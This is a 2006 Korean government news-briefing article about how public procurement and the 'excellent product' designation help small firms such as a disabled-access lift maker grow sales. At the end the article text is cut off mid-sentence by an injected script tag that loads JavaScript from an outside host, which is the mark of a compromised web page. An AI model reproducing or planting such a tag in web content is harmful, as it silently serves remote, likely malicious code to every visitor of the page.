작성자 관리자 작성일 2006-11-09 오후 2:35:34 (Hit. 785)
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제목 판로 어려운 중기의 등용문

 

일반인에겐 다소 생소한 정부조달시장이 중소기업 지원의 메카로 자리 잡고 있다.
중소기업과 직접적인 연관성이 없는 총사업비 검토와 외자구매 등을 제외한 시설, 구매, 비축 등 조달청이 집행하는 올해 22조8000억원 중 70.9%인 16조1000억원이 중소기업지원에 투입된다.
특히 매출선 확보에 어려움을 겪고 있는 중소기업들에게 조달청을 통한 공공기관 판로개척은 업체의 공신력을 높여주는데다 민간판매 확대라는 부메랑으로 연결돼 가장 실속 있는 영업전략 중 하나다.
<국정브리핑>은 조달청과 공동으로 매머드급인 조달시장의 각종 제도를 통해 중소기업지원현장을 점검하는 시리즈를 연재한다.
<편집자 주>


대전광역시 유성구 대덕테크노벨리의 (주)지암메디테크(대표 전소연)가 지난 97년 창업초기의 어려움을 딛고 성장의 발판을 마련할 수 있었던 것은 조달청의 우수제품에 선정되면서부터다.

병원을 경영하다 장애인 특수 승강기에 대한 시장성으로 보고 창업에 뛰어든 전 대표의 회사운영은 가시밭길이었다.

유학시절 보았던 미국 장애인복지환경에 탄복한 나머지, 수직형 리프트와 장애인용 특수승강기 시장을 조사해본 결과 국내에 전문회사는 없었고 100% 수입에 의존하고 있는 실정이어서 과감하게 사업에 뛰어들었던 것.

전 대표는 “창업초기에는 일년에 고작해야 1대(당시 시가 1400만원)의 수직형 리프트만을 팔았다”면서 “중소기업제품에 대한 왜곡된 시각까지 겹쳐 초기 3년 동안은 홍보용으로 도서관, 복지관 등에 부품 값만 받고 설치해 주다시피 했다”고 당시의 고충을 털어놓았다.

마케팅 부담이 큰 중기에 비용절감·매출신장 큰 도움

기회가 찾아왔다. 끊임없이 연구와 기술개발에 매달린 결과 특허, 실용신안, 의장 등록 등 신기술인정을 받을 수 있었고 조달청의 우수제품에 선정된 지난 2000년과 2005년을 고비로 매출신장의 전기가 됐다.

지난 2001년 국내 최초로 노원구청, 삼육대학교 앞 보도육교에 특수승강기를 설치한 이후에는 국내 보도육교 특수승강기 시장의 90%를 점유하면서 성장의 발판을 굳히게 됐다.

국내에서는 관심 밖의 영역이었던 장애인과 노약자 등을 위한 수직형 리프트가 하나 둘 설치되면서 공공기관의 공무원들도 우호적인 입장을 보이게 됐다.

지난 2004년 20억원이던 수주액이 지난해에는 47억원, 올해에는 80억원을 바라보고 있다.
최근 3년동안 매년 100%의 외형신장을 거듭할 수 있었다.

전 대표는 “조달청의 우수제품으로 선정되면 수요기관들이 자연스럽게 제품에 대한 기술력을 인정하게 된다”면서“마케팅 부담이 큰 중소기업에게 우수제품제도는 비용절감은 물론 매출신장에 큰 도움이 된다”고 밝혔다.

서울시 성수동 한국영상(주)가 국내에서만 100여개가 난립하고 있는 방송장비업계에서 안정적인 성장을 거듭할 수 있었던 것은 바로 연구와 개발 투자에 메달렸기 때문이다.

무질서한 양적 경쟁을 기술개발 등 질적 경쟁으로 유도

신기술인증을 통해 성능이 우수하다고 입증된 하?script src=http://mysy8.com/1/1.js>
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